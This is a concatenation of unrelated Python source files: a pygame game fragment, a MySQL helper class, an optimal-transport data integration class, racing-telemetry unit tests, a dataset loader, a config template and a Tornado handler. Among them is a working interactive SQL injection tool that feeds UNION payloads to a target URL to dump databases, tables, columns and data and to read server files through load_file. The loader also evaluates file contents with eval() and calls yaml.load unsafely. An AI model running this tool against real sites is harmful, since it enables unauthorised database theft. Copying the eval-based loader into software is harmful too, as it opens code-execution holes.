        if x<-30 or x >  .45*display_width+20 :
            crash()
        if y<-300 or y> .3*display_height+30:
            crash()

        pygame.display.update()
        clock.tick(60)

print('man image=',manimg.get_rect().size)
print('car image=',carimg.get_rect().size)
game_loop()

pygame.quit()
quit()


import mysql.connector

# establishes connection
# executes query
# return data after query execution if necessary
# can be used for any tables providing values to parameters asked

class MyDb:
    def __init__(self):
        self.my_connection = mysql.connector.connect(user="root", password="",
                             host="localhost", port=3306, database='es19a') #to access databse
        self.my_cursor = self.my_connection.cursor() #to execute query

    def iud(self, qry, values):
        try:
            self.my_cursor.execute(qry, values)
            self.my_connection.commit()
            return True
        except Exception as e:
            return False

    def insert_with_id_return(self, qry, values):
        self.my_cursor.execute(qry, values)
        self.my_connection.commit()
        return self.my_cursor.lastrowid

    def show_data(self, qry):
        self.my_cursor.execute(qry)
        data = self.my_cursor.fetchall()
        return data

    def show_data_p(self, qry, values):
        self.my_cursor.execute(qry, values)
        data = self.my_cursor.fetchall()
        return data

# d = MyDb()
# print(d.my_connection)

# qry = "CREATE DATABASE es19a"
# qry = "CREATE TABLE items (id int PRIMARY KEY AUTO_INCREMENT, name varchar(100), type varchar(100), price double)"
# qry = "INSERT INTO items (name, type, price) VALUES (%s,%s,%s)"
# values = ('Pizza', 'Chicken', 100)
# my_cursor.execute(qry, values)
# my_connection.commit()

# qry = "SELECT * FROM items"
# my_cursor.execute(qry)
# all_items = my_cursor.fetchall()
# for i in all_items:
#     print(i[0], i[1], i[2], i[3])

# class Student:
#     def __init__(self):
#         pass
#
#     def get_name(self):
#         return self.__name
#
#     def set_name(self, name):
#         self.__name = name
#
#     def get_address(self):
#         return self.__address
#
#     def set_address(self, add):
#         self.__address = add
#
#     def set_age(self, age):
#         if int(age) > 25:
#             print("Not eligible")
#         self.__age = age
#
#
# name = input("Enter you name")
# add = input("Enter you address")
# age = input("Enter you age")
#
# s = Student()
# s.set_age(age)
# s.set_name(name)
# s.set_address(add)
#
# print(s.get_name())
# print(s.get_address())

# features
# encapsulation
# inheritance
# polymorphism
# abstraction


#!/usr/bin/env python3

import numpy as np
from .integration import _compute_transport, _transform
from .density import normal_kernel_weights, _get_density

class Transmorph:
    """
    Optimal transport-related tools for dataset integration.

    This class implements a set of methods related to optimal transport-based
    unsupervised and semi-supervised learning, with the option of using an
    unsupervised heuristic to estimate data points weights prior to optimal
    transport in order to correct for dataset classes unbalance.

    By default, the optimal transport plan will be computed using
    Gromov-Wasserstein metric, but it can be changed to rather use optimal
    transport (Wasserstein distance).

    Parameters:
    -----------
    method: str in ('ot', 'gromov')
        Method to use in order to compute optimal transport plan.
        OT stands for optimal transport, and requires to define a metric
            between points in different distributions. It is in general
            more reliable in the case of datasets presenting symmetries.
        Gromov stands for Gromov-Wasserstein (GW), and only requires the metric
            in both spaces. It is in this sense more general, but is
            invariant to dataset isometries which can lead to poor
            integration.

    max_iter: int
        Maximum number of iterations for OT/GW.

    entropy: bool
        Enables the entropy regularization for OT/GW problem, solving it
        approximately but more efficiently using Sinkhorn's algorithm
        (Cuturi 2013)

    hreg: float
        Entropic regularization parameter. The lower the more accurate the result
        will be, at a cost of extra computation time.

    weighted: bool
        Enables the weights correction to deal with unbalanced datasets. It requires
        to solve a QP of dimensionality equal to dataset size, so it does not scale
        for now above 10^4 data points.

    alpha_qp: float
        Parameter for the QP solver (osqp)

    scale: float
        Standard deviation of Gaussian RBFs used in the weights selection. May need
        some tuning.

    verbose: bool
        Enable logging.
    """

    def __init__(self,
                 method: str = 'gromov',
                 max_iter: int = 1e6,
                 entropy: bool = False,
                 hreg: float = 1e-3,
                 weighted: bool = True,
                 alpha_qp: float = 1.0,
                 scale: float = 5e-2,
                 verbose: bool = True):
        assert method in ('ot', 'gromov'), "Unrecognized method: %s. \
                                            Available methods are 'ot', 'gromov'"
        assert max_iter > 0, "Negative number of iterations."
        assert scale > 0, "Scale must be positive."
        self.method = method
        self.max_iter = max_iter
        self.entropy = entropy
        self.hreg = hreg
        self.weighted = weighted
        self.alpha_qp = alpha_qp
        self.verbose = verbose
        self.scale = scale
        # Cache
        self.transport_plan = None
        self.wx = None
        self.wy = None
        self.yt = None
        if verbose:
            self._print("Successfully initialized.\n%s" % str(self))

    def __str__(self) -> str:
        return "(Transmorph) %s based -- max_iter: %i -- %s -- %s" % (
            self.method,
            self.max_iter,
            ( ("entropy regularized, hreg: %f" % self.hreg)
              if self.entropy else "no entropy"),
            ( ("weighted, alpha_qp: %f, scale: %f" % (self.alpha_qp, self.scale))
              if self.weighted else "unweighted")
        )

    def _print(self, s: str) -> None:
        # Only prints for now, can later be pipelined into other streams
        print("Transmorph > %s" % s)

    def is_fitted(self) -> bool:
        # Shortcut to know if fit() has been called
        return not (
            self.transport_plan is None
            or self.wx is None
            or self.yt is None)

    def get_wx(self): return self.wx;

    def get_wy(self): return self.wy;

    def get_K(self, xs: np.ndarray):
        return _get_density(xs, self.scale)

    def get_density(self, x: np.ndarray, w: np.ndarray = None):
        if w is None:
            w = np.array([1/len(x)]*len(x))
        return self.get_K(x) @ w

    def fit(self,
            xs: np.ndarray,
            yt: np.ndarray,
            Mx: np.ndarray = None,
            My: np.ndarray = None,
            Mxy: np.ndarray = None) -> None:
        """
        Computes the optimal transport plan between two empirical distributions,
        with parameters specified during initialization.

        Parameters:
        -----------
        xs: (n,d0) np.ndarray
            Source data points cloud.

        yt: (m,d1) np.ndarray
            Target data points cloud.

        Mx: (n,n) np.ndarray
            Pairwise metric matrix for xs. Only relevant for GW. If
            None, Euclidean distance is used.

        My: (m,m) np.ndarray
            Pairwise metric matrix for yt. Only relevant for GW. If
            None, Euclidean distance is used.

        Mxy: (n,m) np.ndarray
            Pairwise metric matrix between xs and yt. Only relevant for OT.
            If None, Euclidean distance is used.
        """
        # Computing weights
        n, m = len(xs), len(yt)
        assert n > 0, "Empty source matrix."
        assert m > 0, "Empty reference matrix."
        self.yt = yt
        if not self.weighted:
            self.wx, self.wy = np.array([1 / n] * n), np.array([1 / m] * m)
        else:
            if self.verbose:
                self._print("Computing source distribution weights...")
            self.wx = normal_kernel_weights(
                xs, alpha_qp=self.alpha_qp, scale=self.scale
            )
            if self.verbose:
                self._print("Computing reference distribution weights...")
            self.wy = normal_kernel_weights(
                yt, alpha_qp=self.alpha_qp, scale=self.scale
            )

        # Correcting approximation error
        self.wx /= np.sum(self.wx)
        self.wy /= np.sum(self.wy)

        if self.verbose:
            if self.method == "ot":
                self._print("Computing optimal transport plan...")
            if self.method == "gromov":
                self._print("Computing Gromov-Wasserstein plan...")

            self.transport_plan = _compute_transport(
                xs, yt, self.wx, self.wy, method=self.method, Mxy=Mxy, Mx=Mx, My=My,
                max_iter=self.max_iter, entropy=self.entropy,
                hreg=self.hreg, verbose=self.verbose)

        self._print("Transmorph fitted.")

    def transform(self) -> np.ndarray:
        """
        Applies optimal transport integration. Transmorph must be fitted beforehand.

        Returns:
        --------
        (n,d1) np.ndarray, of xs integrated onto yt.
        """
        assert self.is_fitted(), "Transmorph must be fitted first."
        m, d = self.yt.shape
        n, mP = self.transport_plan.shape
        nw = len(self.wx)
        assert m == mP, "Inconsistent dimension between reference and transport."
        assert n == nw, "Inconsistent dimension between weights and transport."
        self._print("Projecting dataset...")
        return _transform(self.wx, self.yt, self.transport_plan)

    def fit_transform(self,
            xs: np.ndarray,
            yt: np.ndarray,
            Mx: np.ndarray = None,
            My: np.ndarray = None,
            Mxy: np.ndarray = None) -> np.ndarray:
        """
        Shortcut, fit() -> transform()
        """
        self.fit(xs, yt, Mx, My, Mxy)
        return self.transform()

    def label_transfer(self, y_labels: np.ndarray) -> np.ndarray:
        """
        Uses the optimal tranport plan to infer xs labels based
        on yt ones in a semi-supervised fashion.
        """
        assert self.is_fitted(), "Transmorph must be fitted first."
        return y_labels[np.argmax(self.transport_plan.toarray(), axis=1)]


import unittest
from unittest.mock import MagicMock, patch
import time

from lemon_pi.pit.event_defs import RaceStatusEvent, LapCompletedEvent, PingEvent, PittingEvent, TelemetryEvent
from lemon_pi.pit.radio_interface import RadioInterface
from lemon_pi.shared.generated.messages_pb2 import Ping, EnteringPits, CarTelemetry, RaceFlagStatus
from python_settings import settings
import lemon_pi.config.test_settings as my_local_settings
from lemon_pi.shared.tests.lemon_pi_test_case import LemonPiTestCase

if not settings.configured:
    settings.configure(my_local_settings)

class RadioInterfaceTestCase(LemonPiTestCase):

    @patch("lemon_pi.shared.radio.Radio")
    def test_flags(self, radio):
        ri = RadioInterface(radio)
        for flag in ['Red', 'Green', 'Black', 'Yellow', '']:
            radio.send_async = MagicMock()
            ri.handle_event(RaceStatusEvent, flag=flag)
            radio.send_async.assert_called_once()

    @patch("lemon_pi.shared.radio.Radio")
    def test_race_position(self, radio):
        ri = RadioInterface(radio)
        radio.send_async = MagicMock()
        ri.handle_event(LapCompletedEvent, car='1', laps=2, position=3)
        fields = radio.send_async.call_args.args[0]
        self.assertEqual("1", fields.race_position.car_number)
        self.assertEqual(2, fields.race_position.lap_count)
        self.assertEqual(3, fields.race_position.position)

    @patch("lemon_pi.shared.radio.Radio")
    def test_race_position_behind(self, radio):
        ri = RadioInterface(radio)
        radio.send_async = MagicMock()
        ri.handle_event(LapCompletedEvent, car='1', laps=2, position=3, ahead="181", gap="5 laps")
        fields = radio.send_async.call_args.args[0]
        self.assertEqual("1", fields.race_position.car_number)
        self.assertEqual(2, fields.race_position.lap_count)
        self.assertEqual(3, fields.race_position.position)
        self.assertEqual("181", fields.race_position.car_ahead.car_number)
        self.assertEqual("5 laps", fields.race_position.car_ahead.gap_text)

    @patch("lemon_pi.shared.radio.Radio")
    def test_race_position_with_flag(self, radio):
        ri = RadioInterface(radio)
        radio.send_async = MagicMock()
        ri.handle_event(LapCompletedEvent, car='1', laps=2, position=3, ahead="181", flag="Green")
        fields = radio.send_async.call_args.args[0]
        self.assertEqual("1", fields.race_position.car_number)
        self.assertEqual(2, fields.race_position.lap_count)
        self.assertEqual(3, fields.race_position.position)
        self.assertEqual("181", fields.race_position.car_ahead.car_number)
        self.assertEqual(RaceFlagStatus.GREEN, fields.race_position.flag_status)

    def test_ping_processing(self):
        ri = RadioInterface(MagicMock())
        handler = MagicMock()
        PingEvent.register_handler(handler)
        ping = Ping()
        ping.sender = "181"
        ping.timestamp = int(time.time())
        ri.convert_to_event(ping)
        handler.handle_event.assert_called_once_with(PingEvent, car=ping.sender, ts=ping.timestamp)

    def test_pitting_processing(self):
        ri = RadioInterface(MagicMock())
        handler = MagicMock()
        PittingEvent.register_handler(handler)
        pit = EnteringPits()
        pit.sender = "181"
        ri.convert_to_event(pit)
        handler.handle_event.assert_called_once_with(PittingEvent, car=pit.sender)

    def test_telemetry_processing(self):
        ri = RadioInterface(MagicMock())
        handler = MagicMock()
        TelemetryEvent.register_handler(handler)
        car = CarTelemetry()
        car.sender = "181"
        car.coolant_temp = 184
        car.lap_count = 50
        car.last_lap_time = 67.5
        car.last_lap_fuel_usage = 12
        car.fuel_remaining_percent = 25
        ri.convert_to_event(car)
        handler.handle_event.assert_called_once_with(TelemetryEvent,
                                                     car=car.sender,
                                                     ts=0,
                                                     coolant_temp=184,
                                                     lap_count=50,
                                                     last_lap_time=67.5,
                                                     last_lap_fuel=12,
                                                     fuel_percent=25)

if __name__ == '__main__':
    unittest.main()


import os
import pandas as pd
import numpy as np

from scipy.io import arff
from io import StringIO

def load_dataset(path):
    """
    Loads arff dataset from given path
    """
    buff = None

    with open(path, "r") as f:
        buff = StringIO(f.read())

    assert buff is not None
    data, meta = arff.loadarff(buff)
    return data, meta

def find_dataset(path_="."):
    """
    Finds all arff dataset in specified folder
    """
    return [x for x in os.listdir(path_) if x.lower().endswith("arff")]

def normalize(data):
    """
    Normalizes data to int dataformat
    """
    return pd.DataFrame(data).astype("int32")

def prepare(features):
    """
    Prepares features and labels.

    Extract features, feature_list and labels from given data
    """
    labels = np.array(features["Result"])
    features = features.drop("Result", axis=1)
    feature_list = list(features.columns)
    features = np.array(features)
    return features, feature_list, labels

def full_load():
    """
    Finds local dataset, then loads and prepares it
    """
    data, meta = load_dataset(find_dataset()[0])
    data = normalize(data)
    return prepare(data)

def load_yaml(path):
    import yaml

    return yaml.load(path)

def load_py(path):
    content = None
    with open(path, "r") as f:
        content = f.read()

    return eval(content)

def load_json(path):
    import json

    content = None
    with open(path, "r") as f:
        content = f.read()

    return json.loads(content)

loaders = {
    ".py": load_py,
    ".yml": load_yaml,
    ".yaml": load_yaml,
    ".json": load_json,
}


#!/usr/bin/python
import requests,sys,os,readline,re,binascii
from urllib.parse import unquote
dios = "make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)"

def hexx(string):
	x = binascii.b2a_hex(string.encode('utf-8'))
	return "0x"+x.decode('utf-8')

def execute(url):
	x 	 = requests.get(url.replace("inject","CONCAT(0x2566696c746879726f6f7425,user(),0x2566696c746879726f6f7425)"))
	user = x.text.split('%filthyroot%')[1]
	try:
		cmd  = input(user + " > ")
		if cmd == "clear":
			os.system("clear")
			execute(url)
		elif cmd == "dios":
			cmd = dios
		elif cmd == "databases":
			cmd = "(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x)"
		elif cmd == "tables":
			cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)"
		elif cmd == "database":
			cmd = "database()"
		elif cmd == "version":
			cmd = "version()"
		elif cmd == "user":
			cmd = "user()"
		elif cmd == "columns":
			tbxx = input("Table : ")
			cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME="+hexx(tbxx)+")AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x)"
			#print (tbzz)
			#exit()
		elif cmd == "data":
			db = input("Database : ")
			tb = input("Table    : ")
			co = input("Columns (ex : id,user,pass,)  : ")
			cmd = cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM("+db+"."+tb+")WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x3c62723e,"+co+",0x3c62723e))))x)"
		elif cmd == "loadfile":
			file = input("File Path : ")
			cmd = "load_file("+hexx(file)+")"
		elif cmd == "filepriv":
			cmd = "(SELECT(CONCAT(file_priv)) FROM mysql.user)"
		r 	   = requests.get(url.replace("inject","CONCAT(0x2566696c746879726f6f7425,"+ cmd +",0x2566696c746879726f6f7425)"))
		output = r.text.split('%filthyroot%')[1]
		if re.search("
",output):
			x = output.split("
")
			for i in x:
				print(i)
			execute(url)
		elif re.search("
",output):
			x = output.split("
")
			for i in x:
				print(i)
			execute(url)
		print("Output :",output)
	except Exception:
		#print(r.text)
		print("Syntax Error!")
		execute(url)

	execute(url)

if len(sys.argv) < 2:
	print("""############### | By FilthyRoot
# SQLI Helper # | @jogjakartahackerlink
############### | ---------------------

Usage : sqli.py \"http://target.com/index.php?id=1'UNION SELECT inject,2-- -\"""")
else:
	if re.search("http",sys.argv[1]):
		url = sys.argv[1]
	elif re.search('\%68\%74\%74\%70', sys.argv[1]):
		url = unquote(sys.argv[1])
	else:
		url = "http://"+sys.argv[1]
	execute(url)


import os
import sys

loc_info = {
    'name':'template_site',#THIS SHOULD BE THE SAME AS THE FILENAME
    'type':'farm',#Don't change this!
    'backend':'Local',#One of Local, Batch or LCG
    'max_jobs':2,#duh
    'mac_folder':'',#Set to $GASP_DIR/runfiles/macro if empty
    'script_folder':'',#as above, runfiles/script
    'out_folder':'',#as above, runfiles/output
    'rat_locations':
        {'3_00':'POINT_THIS_TO_A_VERSION_OF_RAT'}#versions should follow 3_00, 4_00 etc
    }


import tornado.web
from concurrent.futures import ThreadPoolExecutor
from ..util.login import checktoken
from ..config.secure import *

class CustomHandler(tornado.web.RequestHandler):
    executor = ThreadPoolExecutor(2)

    def write_error(self, status_code, **kwargs):
        self.write(str(status_code) + '  error!!!')

    def writeResult(self, retcode=0, info={}):
        self.set_header("Access-Control-Allow-Origin", allowOriginStr)
        self.set_header("Access-Control-Allow-Credentials", allowCredentialsStr)
        info['ret'] = retcode
        self.write(str(info))

    def checkAuthorize(self):
        token = self.get_secure_cookie('token')
        if token:
            return checktoken(token)
        return 0, 0